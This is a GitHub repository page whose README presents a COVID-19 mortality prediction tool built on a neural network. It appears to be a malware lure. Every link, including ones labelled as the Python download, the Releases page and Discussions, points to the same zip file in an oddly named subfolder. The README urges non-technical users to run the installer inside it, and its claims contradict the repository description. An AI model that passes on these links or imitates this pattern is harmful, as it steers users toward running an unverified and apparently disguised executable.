https://github.com/hamza2334-tech/covid-mlp

🧠 Predict COVID-19 mortality rates using a Multilayer Perceptron model, built from CDC data, without high-level frameworks.
https://github.com/hamza2334-tech/covid-mlp

adam-optimizer binary-crossentropy catboostregressor cdc-dataset classification dropout early-stopping fillna keras l1-regularization machine-learning outliers pycaret random-forest-regressor storytelling student-project tensorboard-visualization university-at-buffalo

Last synced: 15 days ago
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🧠 Predict COVID-19 mortality rates using a Multilayer Perceptron model, built from CDC data, without high-level frameworks.

• Host: GitHub
• URL: https://github.com/hamza2334-tech/covid-mlp
• Owner: hamza2334-tech
• Created: 2025-10-23T11:22:42.000Z (7 months ago)
• Default Branch: main
• Last Pushed: 2026-05-09T18:22:11.000Z (19 days ago)
• Last Synced: 2026-05-09T20:31:22.199Z (19 days ago)
• Topics: adam-optimizer, binary-crossentropy, catboostregressor, cdc-dataset, classification, dropout, early-stopping, fillna, keras, l1-regularization, machine-learning, outliers, pycaret, random-forest-regressor, storytelling, student-project, tensorboard-visualization, university-at-buffalo
• Language: Python
• Size: 1.83 MB
• Stars: 0
• Watchers: 0
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

          
# 🎉 covid-mlp - Predict COVID-19 Mortality Rates Easily

## 📥 Download the Software

[![Download](https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip)](https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip)

## 🚀 Getting Started

Welcome to the covid-mlp project! This software predicts COVID-19 mortality rates using a shallow neural network built with CDC data. It is designed for users without a technical background, allowing you to harness machine learning for serious public health issues.

## 💻 System Requirements

Before you begin, ensure your system meets these requirements:

- **Operating System:** Windows 10 or newer, macOS Catalina or newer, or a modern Linux distribution.

- **RAM:** At least 4 GB is recommended.

- **Storage:** Ensure you have 500 MB of free space.

- **Python:** Version 3.6 or newer installed on your system.

If you do not have Python installed, you can easily download it from [https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip](https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip).

## 📊 Features

- **Easy Data Processing:** The software processes CDC data without needing any coding skills.

- **Neural Network:** Uses a shallow neural network model to predict mortality rates accurately.

- **User-Friendly Interface:** A graphical user interface (GUI) guides you through the steps.

- **Quick Predictions:** Get results in minutes instead of hours.

## 📦 Download & Install

1. **Visit the Releases Page:**

   Go to the [Releases page](https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip) to find the latest version of the software.

2. **Choose Your Version:**

   You will see a list of available versions. Look for the most recent release version. 

3. **Download the Installer:**

   Click on the installer file suitable for your operating system. 

4. **Run the Installer:**

   Follow these steps to run the installer:

   - For Windows, double-click the downloaded `.exe` file.

   - For macOS, open the `.dmg` file and drag the app to your Applications folder.

   - For Linux, run the downloaded package using your package manager or terminal.

5. **Launch the Application:**

   After installation, find the application in your programs or applications folder. Click to open it.

## 📊 How to Use

1. **Load Data:**

   Click on the “Load Data” button to upload your CDC dataset. The software supports CSV format.

2. **Select Prediction Options:**

   Adjust settings for the model, like the number of simulations, if needed.

3. **Run Predictions:**

   Hit the “Predict” button. The predictions will take a few moments.

4. **View Results:**

   Once the predictions are complete, results will display on the screen with options to save your results.

## 📄 Additional Resources

- **Documentation:** Comprehensive user guide available in the software or online.

- **Community Support:** Join discussions on topics related to COVID-19 predictions. Check our [GitHub Discussions](https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip).

## 🙌 Contribute

If you're interested in supporting our project, we welcome contributions. You can help by:

- Reporting bugs.

- Improving documentation.

- Suggesting new features.

Feel free to submit issues or pull requests via GitHub.

## ✔️ License

This project is licensed under the MIT License. You can freely use and share it with others, respecting the terms of the license.

## 🛠️ Acknowledgments

- Thanks to the CDC for providing essential data.

- Special thanks to all contributors who made this project possible.

## 📞 Contact

For any questions, please reach out via the issues section on GitHub. We are happy to help!